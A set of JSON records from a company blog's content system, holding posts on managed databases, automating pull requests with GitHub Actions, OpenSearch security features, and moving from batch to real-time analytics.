{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"1Ra2d6bJ8rmAaOIoRQafNS","_rev":"GIOwkysrijyYbzGkS40oS6","_type":"post","_updatedAt":"2024-07-04T13:55:00Z","authors":[{"_key":"6lMlSgJEYuohRrYw7zGkl8","_ref":"6lMlSgJEYuohRrYw7zGkl8","_type":"reference"}],"body":"## What is a managed database service\n\nWhat do developers want from a database? In the cloud-native era, developers want a database to be reliable, scalable, and logically act as a single entity regardless of the number of instances. For many businesses, managing a database is not their core strength, and neither it is their competitive advantage. A [managed database](https://aiven.io/blog/5-best-practices-for-cloud-database-management) provides all these features (and more) so that developers can focus on developing their business-critical applications.\n\nIn this article, I discuss the true costs and benefits of self-hosting and managing a database, I'll highlight the benefits of a managed database.\n\n## Cost of hosting and managing databases\n\nFrom a cost perspective, consider these three factors for managing a database:\n\n**1. Hardware costs**: When hosting a database, you typically have either physical or virtual machines (running Linux). This hardware costs money. In the case of physical hardware, you also have to foot the costs of the physical setup, networking, and security (you don't want someone to run away with a disk, right?).\n\n**2. Software costs**: The license of your database software costs money. If you're using open-source software (good choice BTW), you avoid  licensing fees but you need experienced DBAs and engineers to make the open-source software work for your business. More on this below...\n\n**3. Operational costs**: Operational costs are costs to run your database smoothly on a day-to-day basis. You'll need a team of DBAs and/or SREs to configure and monitor these databases. The cost of technical talent is the biggest chunk of the operational costs. Besides running the main database, for production databases, you probably have some disaster recovery plans. There are costs associated with creating backups (cost of storage), as well as the cost of technical talent who spends time on the database backup rather than working on your business applications. Also, both operating system and databases must be updated, and incur costs for a zero downtime setup.\n\nA self-hosted and self-managed option can make sense for large engineering teams with deep expertise in databases, or for businesses that need custom solutions for their database needs. It gives the owner more control.\n\n## Benefits of managed databases\n\nIf yours isn't a large enterprise, though, managed options are usually more feasible. Let's take a look at some of the benefits.\n\n### Hassle-free administration\nThe first benefit of a managed database is that you don't have to administer either the operating system of the host machine or the database itself. Security patches and updates for the operating system and database can get time-consuming and a managed database provider runs this maintenance for you in the background. Your data is encrypted at rest and in transit with most managed database providers.\n\n### Quick and easy scalability\nWhether you need to scale up or scale out, you can do so with the click of a button or a CLI command rather than buying expensive hardware. In the case of self-hosted database on a virtual machine, you would most likely need to take the database instance down before adding more compute power. In the case of managed database, you can respond to increased load with a more powerful machine or increased number of database instances. Often times, your managed database service will not be impacted during this migration.\n\n### Optimized performance\nA managed database provider will fine-tune the database to drive optimal performance. Unless you have database experts in your team, you will have difficulties to turn the knobs to get peak database performance. Furthermore, with cloud/managed database services, you'll have the option to choose from HDD or SSD based on your estimated IOPS. If you own the servers yourself, you're stuck with the choice of storage.\n\n### Diverse monitoring\nLogs and metrics for your databases are provided out-of-the-box for a managed database service which you don't have to pay for. On the other hand, you would have to write custom integrations for your self-hosted database.\n\n### Costs governed by usage\nCloud and managed database services are billed by the hour (or even minutes in some cases). That means that you only pay for your usage and don't pay for idle server hours.\n\n## Wrapping up\n\nThis post discussed the value of a managed database service over managing the database yourself. Here's some further reading on the topic:\n- [IDC: Aiven's cloud data services bring 340% three year ROI [WHITEPAPER]](https://aiven.io/blog/aiven-cloud-data-services-bring-340-three-year-roi \"IDC: Aiven's cloud data services bring 340% three year ROI | Aiven blog\")\n- [Why DBAs embrace managed services](https://aiven.io/blog/dbas-shouldnt-be-afraid-of-managed-services \"Why DBAs embrace managed services | Aiven blog\")\n- [12 reasons you(r) boss should choose a public cloud service](https://aiven.io/blog/12-reasons-you-should-choose-a-public-cloud-service \"12 reasons you(r) boss should choose a public cloud service | Aiven blog\")\n- [Bring Your Own Account to Aiven](https://aiven.io/blog/optimize-your-cloud-data-infrastructure-spend-with-byoc)\n- [5 tips for choosing a DBaaS vendor](https://aiven.io/blog/5-tips-for-choosing-a-dbaas-vendor \"5 tips for choosing a DBaaS vendor | Aiven blog\")\n- [Public v private clouds - what's the difference?](https://aiven.io/blog/public-v-private-clouds-whats-the-difference \"Public v private clouds - what's the difference? | Aiven blog\")\n\n--\n\nIf you're not using Aiven services yet, go ahead and sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-304d1c1f13d60bad985e31ec81fef813806f40be-1567x844-png","_type":"reference"}},"publishedAt":"2022-02-25T00:00:00.000Z","seo":{"metaDescription":"Should you get your database managed? Discover the real costs and benefits of self-hosted vs. managed databases.","metaImage":{"alt":"","asset":{"_ref":"image-304d1c1f13d60bad985e31ec81fef813806f40be-1567x844-png","_type":"reference"}},"metaTitle":"The case for managed databases"},"slug":{"_type":"slug","current":"/blog/the-case-for-managed-databases"},"subtitle":"Should you get your database managed? Discover the real costs and benefits of self-hosted vs. managed databases.","title":"The case for managed databases"}
{"__i18n_lang":"en","_createdAt":"2022-09-30T15:36:52Z","_id":"QDu7ILNOyiup25wQK5WGU","_rev":"VeNKqGNmt13PzvGhqsS19A","_type":"post","_updatedAt":"2024-01-29T15:38:20Z","authors":[{"_key":"4u9AY0PiaCCkrz1PHfwCfy","_ref":"4u9AY0PiaCCkrz1PHfwCfy","_type":"reference"}],"body":"Whenever you catch yourself in a repetitive task, try this: step back and think about ways you might automate it. One tool CI/CD folks love to use for automation is GitHub Actions. \n\nGitHub Actions are widely used to run tests and perform checks on our code. But what happens when your automation changes the code, and you want to commit those changes? If you're thinking of running the script manually and opening a pull request, this is an option. But here's an even *better* option: automate the process by using GitHub Actions to open pull requests for you. This article shows you how, step by step.\n\n## The scenario\n\nAt Aiven, we've got an interesting problem: we keep expanding our list of cloud providers. This is nice because it gives you the flexibility to choose whatever provider works for you. For us, maintainers of dev portal documentation, it's a challenge to ensure that the most up-to-date information about our cloud providers is available for our readers.\n\nYou can find a list of Aiven's cloud providers on [Docs.aiven.io](https://docs.aiven.io/ \"Aiven documentation\"), which is also the portal where we host the developer documentation. To quickly retrieve a list of currently-available cloud providers, my colleague Lorna Mitchell wrote a Python script that pulls our cloud listing from the [Aiven API](https://api.aiven.io/doc/#operation/ListClouds) and [generates documentation](https://github.com/aiven/devportal/pull/675/files), which is really cool!\n\nHaving the script was great. Now, by running the script, we could quickly generate fresh documentation out of the Aiven API data. This didn't automate the process entirely, though. Getting the changes merged still required a number of manual actions on a regular basis: run the script, check if there are new changes to commit, create pull requests, and so on.\n\nThis is a good example of a case where you can configure a GitHub Actions workflow to run the script periodically and open a pull request when changes are detected. So if you have a similar challenge, below you'll find how to add an automation flow step by step.\n\n## Configure GitHub Actions workflow\n\nTime for some action - or better, GitHub Actions! You can follow these steps to configure your GitHub Actions workflow:\n\n### 1) Check the script\n\nLet's ensure that the script works correctly before using it for automation. So, here you can run your script a couple of times and check that it is working as it is supposed to.\n\nTo make the process easier, you can add the commands to run the script in a Makefile. Makefiles are a helpful way to organize code compilation, and it helps to run long commands in a shorter version using the ``make`` command. Following our example, here is what we add to the [Makefile](https://github.com/aiven/devportal/blob/main/Makefile#L96-L97):\n\n```\nSOURCEDIR     = .\n# (Re)Generate cloud listing\ncloud-list:\n    python \"$(SOURCEDIR)/scripts/aiven/clouds.py\" \"includes/clouds-list.rst\"\n```\n\nNow we can simply run the script with:\n\n```\nmake cloud-list\n```\n\nThis step ensures that the script you use to change the code produces the changes you want to commit in a pull request. Mistakes happen. If your script isn't working as expected, you may need to debug your code before proceeding. If the script is working, then you can go ahead and create the GitHub workflow.\n\n### 2) Create a GitHub workflow\n\nIn this step, you need to add a YAML file to define the workflow configuration. First, make sure you have created a ``.github/workflows/`` folder; if not, you can go ahead and create the directory. Then, create a YAML file to define the workflow configuration, for example, [``.github/workflows/cloud-list.yaml``](https://github.com/aiven/devportal/blob/main/.github/workflows/cloud-list.yaml). In this file, you can define the name of the workflow. In our example, we start by giving a name to our workflow:\n\n```\nname: Cloud - Create PR to update available list\n```\n\nPick a name for a file and for the workflow that is related to the changes you are bringing to your code. This can help your code and to identify your workflows. Check out this quick guide from GitHub in [how to create your first workflow](https://docs.github.com/en/actions/quickstart). \n### 3) Choose a trigger\n\nGitHub Actions enable you to trigger your workflow to run based on a certain event or events. In the example, the job needs to run periodically. For that, configure it to run ``on schedule`` according to a [cron job](https://ostechnix.com/a-beginners-guide-to-cron-jobs/).\n\nThe cron syntax can be confusing sometimes. To double-check your cron syntax, you can use an online and free tool called [crontab guru](https://crontab.guru/). Besides this, the page contains many [examples](https://crontab.guru/examples.html) that can help understand the syntax better.\n\nFor example, this workflow is configured to run every Tuesday at 6 AM UTC (8 AM CEST) time:\n\n```\non:\nschedule:\n    - cron: \"0 6 * * 2\"\n```\n\nOn GitHub Actions, the time is based on UTC, so you may want to consider this during the setup.\n\n\u003e **Note:**  On GitHub Actions, the shortest interval you can run scheduled workflows is once every 5 minutes.\nIf you want to run your job in every pull request or have a different use case, you can check out all the available triggers to run your workflow on the [GitHub documentation](https://docs.github.com/en/actions/using-workflows/triggering-a-workflow).\n\n### 4) Install dependencies and run the script\n\nA GitHub workflow is composed of one or more jobs. A job is a set of steps executed in a certain environment defined on the ``runs-on``. In the example below, the ``CloudList`` job runs on the latest ubuntu image. After defining the environment, you need to ``checkout`` from a branch, for example the main branch, and decide on the Python version. Finally, you need to add a step to install the dependencies and run your script.\n\n```\njobs:\nCloudList:\n    runs-on: ubuntu-latest\n    steps:\n    - name: Checkout the repo\n        uses: actions/checkout@v2\n    - name: Set up Python 3.8\n        uses: actions/setup-python@v2\n        with:\n        python-version: \"3.8\"\n    - name: Install dependencies\n        run: |\n        python -m pip install --upgrade pip\n        pip install -r requirements.txt\n    - name: Update available cloud list\n        run: make cloud-list\n```\n\nWith this, the job already runs periodically and generates the file. However, the final goal is to open a pull request so maintainers can check the changes and merge the code. So let's see how you can add the pull request step to your workflow.\n\n### 5) Create pull request\n\nYou can create a pull request by using the [Create Pull request](https://github.com/peter-evans/create-pull-request) action in our workflow. A cool feature here is that you can add some customization related to your pull request that can help in the pull request review process, including labels and a defined branch name, for example:\n\n```\n- name: Create Pull Request\nuses: peter-evans/create-pull-request@v4\nwith:\n    commit-message: Cloud - Update available list\n    title: Cloud - Update available list\n    body: Cloud - Update available list\n    base: main\n    labels: automated-pr, Clouds \u0026 Regions\n    branch: cloud-update-advanced-params\n    delete-branch: true\n```\n\nThe workflow runs the specified jobs according to the scheduled time even if the action is not merged.\n\n![workflow-running screencap](//cdn.sanity.io/images/sczeoy4w/production/d247849642fa9a6e246d4733aa3b9f5c6f9bedd4-2942x1626.png)\n\nBesides periodically running a workflow, you can combine it with the option to manually trigger your workflow, which can help you to test it. You can check out this [GitHub Actions manual](https://github.blog/changelog/2020-07-06-github-actions-manual-triggers-with-workflow_dispatch/) for that.\n\nWhen the action takes place, this is what the shiny new pull request looks like ✨:\n\n![pull-request-open screencap](//cdn.sanity.io/images/sczeoy4w/production/ae3158d89c3454eee1cbb57210afe527b7199714-3688x1784.png)\n\nSo every week, the workflow runs and keeps our Aiven [cloud list](https://aiven.io/docs/platform/reference/list_of_clouds.html) always updated for our beloved users. 🧡\n## Conclusion\n\nAs devportal maintainers, we are happy to use GitHub Action in our CI/CD process to keep our Aiven [cloud list](https://aiven.io/docs/platform/reference/list_of_clouds.html) always up-to-date. \n\nIn this article, we reviewed the workflow code one segment at a time. The complete script looks like this:\n\nFile: ``.github/workflows/cloud-list.yaml``\n\n```\nname: Cloud - Create PR to update available list\non:\n  schedule:\n    - cron: \"0 6 * * 2\"\njobs:\n  CloudList:\n    runs-on: ubuntu-latest\n    steps:\n      - name: Checkout the repo\n        uses: actions/checkout@v2\n      - name: Set up Python 3.8\n        uses: actions/setup-python@v2\n        with:\n          python-version: \"3.8\"\n      - name: Install dependencies\n        run: |\n          python -m pip install --upgrade pip\n          pip install -r requirements.txt\n      - name: Update available cloud list\n        run: make cloud-list\n      - name: Create Pull Request\n        uses: peter-evans/create-pull-request@v4\n        with:\n          commit-message: Cloud - Update available list\n          title: Cloud - Update available list\n          body: Cloud - Update available list\n          base: main\n          labels: automated-pr, Clouds \u0026 Regions\n          branch: cloud-update-advanced-params\n          delete-branch: true\n```\n\n## Read more\n\nBesides periodically running a workflow, you can also add the option to trigger your workflow manually. You can check out this [GitHub Actions manual](https://github.blog/changelog/2020-07-06-github-actions-manual-triggers-with-workflow_dispatch/) with all the information.\n\nIf what you have in mind for your pull request looks different, you can check out more [examples](https://github.com/peter-evans/create-pull-request/blob/main/docs/examples.md) on how to customize the ``create-pull-request`` actions to fit your use case.\n\nHere you can find more [examples](https://github.com/aiven/devportal/pull/945/files) to learn how to use GitHub Actions to open pull requests for you. Have fun automating your pull requests ⚙️!\n\n--\n\nIf you have any feedback or questions, hit us up on [Twitter](https://twitter.com/aiven_io) or [LinkedIn](https://www.linkedin.com/company/aiven/). Make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds, and if you want the latest news about Aiven and our services - plus a bit extra on all things open source - [subscribe to our monthly newsletter](https://aiven.io/newsletter)!","categories":[],"mainImage":{"alt":"","asset":{"_ref":"image-782b88fb26e2e0fead822c31c33a54b8dee5499b-1567x844-png","_type":"reference"}},"publishedAt":"2022-09-27T00:00:00.000Z","related":[{"_key":"497e802ec5c0","_ref":"4390c17f-ed94-4bf3-a4f7-14c73e750746","_type":"reference"},{"_key":"7141923b70f0","_ref":"2067d9d5-96dc-4f71-81ff-9b7da70f5918","_type":"reference"},{"_key":"33e45bdbe07c","_ref":"1j7S5htNtJI8a7hDmtBmZb","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"You want to automate your pull requests with GitHub Actions? Follow these step-by-step instructions to configure your workflow now! ","metaImage":{"alt":"","asset":{"_ref":"image-782b88fb26e2e0fead822c31c33a54b8dee5499b-1567x844-png","_type":"reference"}},"metaTitle":"How to automagically open pull requests with GitHub Actions"},"slug":{"_type":"slug","current":"/blog/how-to-automagically-open-pull-requests-with-github-actions"},"subtitle":"Action time: Automate your pull request with GitHub Actions","title":"How to automagically open pull requests with GitHub Actions"}
{"__i18n_lang":"en","_createdAt":"2023-08-31T18:31:42Z","_id":"66ccc151-4379-4389-8c5c-92ae18d73d3a","_rev":"VeNKqGNmt13PzvGhqsS0So","_type":"post","_updatedAt":"2024-01-29T15:38:04Z","authors":[{"_key":"53d6bb32b030","_ref":"LvoXSx2wcnnIY178tIEa3","_type":"reference"}],"body":"Authentication, Authorization, and Auditing (AAA) are the foundation of any robust security framework, responsible for controlling user access, enforcing policies, and monitoring resource usage. At Aiven, we understand the critical role these features play in safeguarding our customers’ environments. We are thrilled to announce the rollout of OpenSearch Security in Aiven for OpenSearch®, including single sign-on authentication, role-based access control, and audit logging. \n\nIt’s important to note up front that existing Aiven for OpenSearch® customers *do not need to make any changes* to their configuration in response to this release. OpenSearch Security is an *opt-in* feature.\n\n## Use cases for OpenSearch Security\n\nOpenSearch Security will be of particular interest to organizations with centralized identity management or regulatory responsibilities. By enabling OpenSearch Security, customers can integrate their existing access controls with Aiven for OpenSearch. This not only helps centralize access, but role mapping ensures that permissions defined in providers like Okta or AWS can be associated with Aiven roles to ensure stakeholders across departments are automatically granted access only to the data they need, complete with multi-tenant dashboards for each teams’ unique requirements. \n\nAudit logs provide feedback on whether those controls have been implemented properly. Events like a failed login or a user attempting to access content for which they aren’t authorized are captured and stored. Customers can further customize these logs to filter out edge cases or enable expanded logging for regulatory compliance. The results can then be visualized to make trends and outliers evident at a glance.\n\nIn the following sections, we’ll provide more detail about individual features, and provide links to helpful resources\n\n## OpenSearch single sign-on (SSO) authentication \n\nIn the past, Aiven for OpenSearch users relied on locally stored credentials (username/ password) for authentication against OpenSearch servers. Today, we introduce a new capability for centralized user authentication through [Single Sign-On (SSO) using SAML / OIDC protocols](https://aiven.io/docs/products/opensearch/howto/saml-sso-authentication). This integration allows you to use a centralized Identity and Access Management (IAM) solution for authentication, simplifying user management and access control.\n\nWith SSO, users authenticate directly with the IAM provider. They are then mapped to OpenSearch roles, enabling seamless access management for OpenSearch resources and data. Supported IAM providers include Okta, Auth0, and OneLogin.\n\n## Fine-grained role-based access control (RBAC) in OpenSearch\n\nAiven for OpenSearch access control enhancements takes security to the next level by offering fine-grained Role-Based Access Control (RBAC) to any Aiven for OpenSearch resources. This granular level of control empowers you to enforce your security policies effectively across teams with different access requirements. Additionally, SAML and OIDC users can use role mapping to tie Aiven for OpenSearch RBAC to existing access control definitions.\n\nKey capabilities of fine-grained access control include:\n\n- Role-based cluster level access control\n- Role-based index level access control\n- Comprehensive user, role, and permission management\n- Document-level security\n- Field-level security\n- REST management API security\n\n\n## Audit logs for enhanced security and compliance\n\nMaintaining a secure environment requires complete visibility into user activities. We've got you covered with our comprehensive audit logging. Audit logs allow you to monitor all user actions within Aiven for OpenSearch, providing valuable insights for compliance purposes and facilitating post-security breach investigations. In addition, these logs simplify debugging and troubleshooting potential issues in OpenSearch.\n\nAudit logs are entirely customizable, enabling you to track various user activities, such as:\n\n- Authentication successes and failures\n- Requests to OpenSearch\n- Index changes\n- Incoming search queries\n\nAudit logs are securely stored in an OpenSearch index within the same Aiven for OpenSearch cluster. \n\n## Flexible multi-tenant OpenSearch Dashboards\n\nWe recognize that different teams have unique requirements for data visualization, and that's why we are introducing multi-tenant OpenSearch Dashboards. Now you can set up distinct dashboards and visualizations for each team, ensuring a seamless and personalized experience.\n\nTenants in OpenSearch Dashboards act as dedicated spaces for saving index patterns, visualizations, and dashboards. You have full control over user and role privileges for each tenant, allowing you to tailor access permissions as needed.\n\nFor example, you can create dashboards for your own exploratory work, detailed analytics within your team, and a summary dashboard for corporate leadership. You can also provide individual dashboards to each of your customers and safely manage access using OpenSearch roles.\n\n## How to get started\n\nTo enable OpenSearch Security in Aiven for OpenSearch, navigate to your OpenSearch service in the [Aiven Console](https://console.aiven.io/) and click on the Users tab. Select the Enable OpenSearch Security option. You will also need to create an OpenSearch Security Admin user for managing security. Note that once enabled, you cannot disable this feature yourself. Please [contact our support team](https://aiven.io/contact) for assistance if you need to disable it.\n\n![The users configuration screen now includes an \"Enable OpenSearch Security\" dialog window.](https://cdn.sanity.io/images/sczeoy4w/production/3aa21c4a36f68b18d315df346deaa55576247f2e-2498x752.png?w=450)\n\nTo set up SSO integration, you can use Aiven’s Console, CLI, or API. RBAC, audit logging, and OpenSearch Dashboards multi-tenancy are configured in OpenSearch Dashboards. For more information on how to do this, please refer to our [OpenSearch security documentation](https://aiven.io/docs/products/opensearch/concepts/os-security).\n\n### Compatibility Information\n\nWhen OpenSearch Security is enabled, OpenSearch users, roles, and access control lists are managed by OpenSearch itself, not by the Aiven Platform. Therefore, you cannot use Aiven’s Console, CLI, API, or Aiven’s Terraform provider to manage these resources. Instead, changes are made via the OpenSearch Security Dashboard or OpenSearch Security API. For more detail, see our documentation on [key considerations and system adaptation for OpenSearch® Security management](https://aiven.io/docs/products/opensearch/concepts/opensearch-security-considerations).\n\nIf you are a Terraform user, there are third-party providers available that support the OpenSearch Security API. We’ll be publishing specific guidance on how to use those providers in concert with the Aiven provider in a forthcoming blog, so stay tuned for more updates soon.\n\n## Pricing and Availability\n\nAiven for OpenSearch is available on all major hyperscalers - AWS, Google Cloud and Microsoft Azure - in over 100 regions globally.\n\nAiven for OpenSearch plans range from single-instance configurations in the Hobbyist and Startup tiers to multi-instance clusters in the Business and Premium tiers. Full details can be found on the [pricing page](https://aiven.io/pricing?product=opensearch).\n\nAiven for OpenSearch is priced per hour, with prices starting at \\$0.026/hour (\\$19/month). OpenSearch Security can be enabled at *no additional cost*.","categories":[{"_key":"c9a2487af677","_ref":"4Vh5tOitJtIkyMjlv3zldF","_type":"reference"},{"_key":"dcfdee8cbfa8","_ref":"1nf4L7bvQOLXPjLRjAxmDO","_type":"reference"},{"_key":"fcb7b8f6b0cc","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"8638dd131254","_ref":"3hq53G6n8APkncElOzXCgv","_type":"reference"}],"internalBlogProcess":"product","mainImage":{"_type":"mainImage","alt":"Aiven for OpenSearch® introduces advanced security features","asset":{"_ref":"image-967a7ceda4cd01882eb2967aa950b410d758fb89-1200x628-png","_type":"reference"}},"publishedAt":"2023-09-06T13:00:00.000Z","related":[{"_key":"2965f3dc77d3","_ref":"ABeD3aNbvwjtqXaZk6hiP","_type":"reference"},{"_key":"1a5922a0b93d","_ref":"4UiFOlqBKJ2Da9HxhJFdR2","_type":"reference"},{"_key":"f205faf938f3","_ref":"3GBxcNl39k10W3k2kiKeqf","_type":"reference"}],"slug":{"_type":"slug","current":"/blog/aiven-for-opensearch-introduces-advanced-security-features"},"subtitle":"Aiven for OpenSearch® now includes OpenSearch Security, with SSO authentication, role-based access control, audit logging, and multi-tenant  Dashboards","title":"Aiven for OpenSearch® introduces advanced security features"}
{"__i18n_lang":"en","_createdAt":"2023-01-04T10:19:17Z","_id":"b06fbbce-a80e-4e66-b4b1-dc6f57f9023f","_rev":"Ypdm2WFkfKn13FbW5Xqtav","_type":"post","_updatedAt":"2024-09-25T11:02:48Z","authors":[{"_key":"2dbd96bae1eb","_ref":"d85943fb-1e96-4f71-84f9-91011d917141","_type":"reference"}],"body":"What was once a pipe dream is now a reality: advances in technology over the past decade have allowed businesses to harness the power of real-time data. However, while over 80% of businesses say [transforming to a real-time enterprise is critical to meeting customer expectations](https://partners.wsj.com/aerospike/the-power-of-now/the-future-of-business-starts-right-now/), only 12% have optimised their processes for real-time customer experiences, according to 451 Research data. \n\nReal-time data is not just a nice-to-have, but a must-have for businesses to stay afloat in the [“right now” economy](https://www.forbes.com/sites/forbestechcouncil/2022/05/23/delivering-data-in-the-right-now-economy/?sh=77383e1270a1). There are still some clear use cases for batch, for example, payroll or billing typically involve processing a large number of transactions on a regular basis. Batch processing allows companies to efficiently process payroll transactions in a single batch rather than processing them individually in real-time. However, more companies are switching to real-time in cases where getting and analysing continuous data really matters. \n\nIn this article, we’ll evaluate batch and real-time analytics, look at why switching from batch processing to real-time can prove useful, and how to move from a traditional tech stack to one that supports real-time analytics. \n\nLet’s dive in.  \n\n## The problems with batch data processing \nBatch analytics refers to the processing and analysis of a high volume of data that has already been stored for a period of time. For example, companies process their financial reports on a quarterly and monthly basis.\n\nAs computers became more powerful, though, batch systems started delivering data faster and faster — first in weeks, then days, then hours. With batch data processing, you might end up with data inconsistencies, as it may not reflect the most up-to-date state of the data. For example, if a batch process is run at night to update a database, any changes made to the data during the day will not be reflected in the updated database until the next batch process is run.\n\nIn nearly every case, it’s more valuable to have an answer now than it is to have an answer next week.\n\nIn fact, data can lose its value even when it’s just a couple of milliseconds or microseconds old. Take financial instruments: it pays to know the current price of one down to the nanosecond. \n\nWhat’s most important today is your data’s freshness, latency, and value. We’ve come to the point of needing data as it happens, meaning real-time is now the norm. Newer technologies like [Apache Kafka®](https://aiven.io/blog/streaming-data-analytics-in-the-real-world) have replaced the traditional extraction, transformation, and loading (ETL) process. Now that companies can deliver huge amounts of data in[ near real-time](https://aiven.io/blog/near-real-time-elt-with-apache-kafka-and-snowflake), there’s less need for batch processing and delays with delivery.  \n\nWe’ve come this far and there’s no going back with user and customer experience. There’s less and less room for slow analytics when nearly every industry requires real-time decision making. \n\nWhile real-time used to be a specialised version of batch, batch is becoming a specialised version of real-time. And there are risks to not taking advantage of real-time analytics.\n\n## Why moving from batch to real-time analytics is a good idea \n### Build resilient data pipelines  \nSince we’ve come to rely on real-time analytics, resilience is absolutely paramount. Real-time [data pipelines](https://aiven.io/glossary/what-is-a-data-pipeline) are resilient at heart, meaning they can easily adapt in the event of failures. While real-time data processing is more technically challenging, it's much easier to change a real-time calculation. \n\nWith batch, your master file might not be up to date and it’s risky if you mess up. Even minor errors, like typos, can bring your batch process to a halt. If you collect data for a few hours and one batch fails, then the next one will be double the size. If your machine isn’t big enough to store all the data, then you need to scale your machines, which can be quite chaotic.\n\nWith real-time, information is always up to date and it’s much easier to detect anomalies. Companies are moving away from passive risk mitigation to active risk management thanks to real-time analytics. For example, you can detect fraud signals in real-time and stop fraudulent transactions from completing.\n\nBy switching to real-time, you’re better placed to depend on the accuracy and security of your data. And, of course, your processing time will also be faster. \n\n### Your competitors are already riding the real-time wave\nOnce a company goes real-time, everyone else has to play catch up. Whether you like it or not, real-time is the direction the world is going. By 2025, [nearly 30% of all data](https://www.seagate.com/files/www-content/our-story/trends/files/idc-seagate-dataage-whitepaper.pdf) will be consumed in real-time, and the transformation is already well underway.\n\nYou’ve likely heard the famous quote attributed to Henry Ford: “If I had asked my customers what they wanted, they would have said faster horses.” Not transitioning to real-time is the equivalent of saying “We're gonna stick with horses.” By sticking with batch, you are choosing to fight a much harder battle than you need to. \n\nMoving to real-time analytics helps you gain a competitive advantage and make new discoveries that could help grow your business. \n\n### Your efficiency will skyrocket\nCompanies using real-time analytics see huge efficiency gains. \n\nConsider how much real-time has already driven a boom in productivity: we wouldn’t have food delivery apps, the gig economy, or Uber without real-time systems. Sure, ordering a taxi for tomorrow is great, but it's not the same as ordering one right when you need it.\n\nWith real-time analytics, warehouses can streamline their operations and monitor the conditions of their goods. They can ensure factories won’t run out of equipment or raw materials at the wrong time, and predict when a machine is about to overheat so that they can divert some workload to a different factory. \n\nOr let’s say you have a pharmaceutical supply chain and you notice one product is out of stock in Germany — but just over the border in Switzerland, you have a surplus. Rather than only finding out about the surplus in Switzerland later, real-time analytics allow you to send the products to Germany the moment they’re needed there.\n\nWhen it comes to efficiency, the power of real-time analytics benefits nearly every industry. \n\n### Increase your revenue\n71% of technology leaders agree that they can tie their revenue growth directly to real-time data, according to the [State of the Data Race 2022](https://dtsx.io/3CGDcPp) report. \n\nWhile batch processing comes with a lower up-front investment, companies can actually cut costs with real-time since aggregating and joining data before ingestion requires less storage and processing. You can also perform serverless computing with real-time, where you only pay for compute time when you need it. Tools like [AWS Lambda®](https://aws.amazon.com/lambda/) allow you to cut costs and run applications during times of peak demand without crashing or over-provisioning resources.\n\nThe main cost with real-time is the opportunity cost to set it up, and the return on investment is potentially huge. \n\nMajor payment companies, for instance, save millions per day in revenue potentially lost to fraud with the help of real-time analytics. E-commerce companies can also increase their average cart transaction size with personalized recommendations, and reduce the number of abandoned carts with reminder emails. \n\nEvery second wasted can cost millions for today’s data-driven production lines. For example, if you have a forging production line, you can’t afford to make slow decisions. The metal equipment has to stay hot, and if it gets cold, you can lose millions of dollars per second. You don’t want to make the wrong call, have to shut down production for 10 minutes, and suddenly find yourself losing hundreds of millions of dollars due to delayed data collection.\n\n### Empower data analysts to do their jobs well \nReal-time data empowers data analysts with a more complete and accurate picture of the data they are working with, which can be very helpful in their jobs. \n\nIf you've spent thousands of hours and millions of dollars a year hiring a team of smart people whose jobs are to analyse your data and share the results, why would you limit them to only considering the situation every 20 minutes? \n\n::banner[Tiered Storage, a feature of Apache Kafka 3.6 which allows the offloading of data to object storage in the cloud, is the game-changer you’ve been waiting for.]{ctaText=\"Watch the livestream\" ctaLink=\"https://aiven.io/video/unlocking-the-future-of-kafka-with-tiered-storage\" title=\"Livestream: Kafka with Tiered Storage\" theme=\"dark\"}\n\n## How to move from batch to real-time analytics\nKeep in mind that when switching from batch to real-time, you don’t lose a thing. You’re not trading in batch for real-time. Instead, you’re starting at a better place with a real-time system, and you could always add your batch system back on top if you still need it.  \n \nTo make the [switch to a real-time analytics pipeline](https://aiven.io/blog/build-a-real-time-analytics-pipeline), use open-source tools like Apache Kafka®, [Apache Flink®](https://aiven.io/blog/build-a-streaming-sql-pipeline-with-flink-and-kafka), and [ClickHouse®](https://aiven.io/blog/what-is-clickhouse) (KFC). The KFC stack allows you to build up a robust, scalable architecture for getting the most from your data, whether it be batched ETL or real-time metrics.\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/b1510915a81627a90a9a1b358dbab0dfc61326f6-2500x1625.jpg)\n \nBy using real-time tools, you can denormalise the data into a database management system (DBMS) like ClickHouse to allow high speed access to the joined-up data. \n\nMany other tools are moving in the direction of real-time. [Materialize](https://www.businesswire.com/news/home/20221003005377/en/Materialize-Makes-Using-Real-Time-Data-as-Simple-as-Batch-With-New-Distributed-Streaming-Database), for example, offers a distributed streaming database that enables immediate, widespread adoption of real-time data for applications, business functions, and other data products. Israeli startup [Firebolt](https://www.firebolt.io/) allows you to deliver sub-second and highly concurrent analytics experiences over big and granular data. \n\nUltimately, moving to real-time does require more than just adopting new tools. It requires a change of mindset. Companies need to modernise their data architectures to move at machine-speed rather than people-speed. \n\n## The real-time tide will keep rising \nWhen the Internet first arose some people thought it was just a passing fad, or an overhyped idea that would fizzle out. But look where we are today. \n\nThe same thing is happening now with real-time analytics. \nWhile real-time technology will no doubt change in the coming years, the process itself isn’t going away. Rather, it will keep evolving to become even faster. \n \nSo, will you be left behind or will you switch to real-time? \n\n::banner[Read more why you should be analysing your streaming data, not just moving it around.]{ctaText=\"Make your streaming data work for you\" ctaLink=\"https://aiven.io/blog/streaming-data-analytics-in-the-real-world\" title=\"Already using Apache Kafka®?\" theme=\"dark\"}\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog). 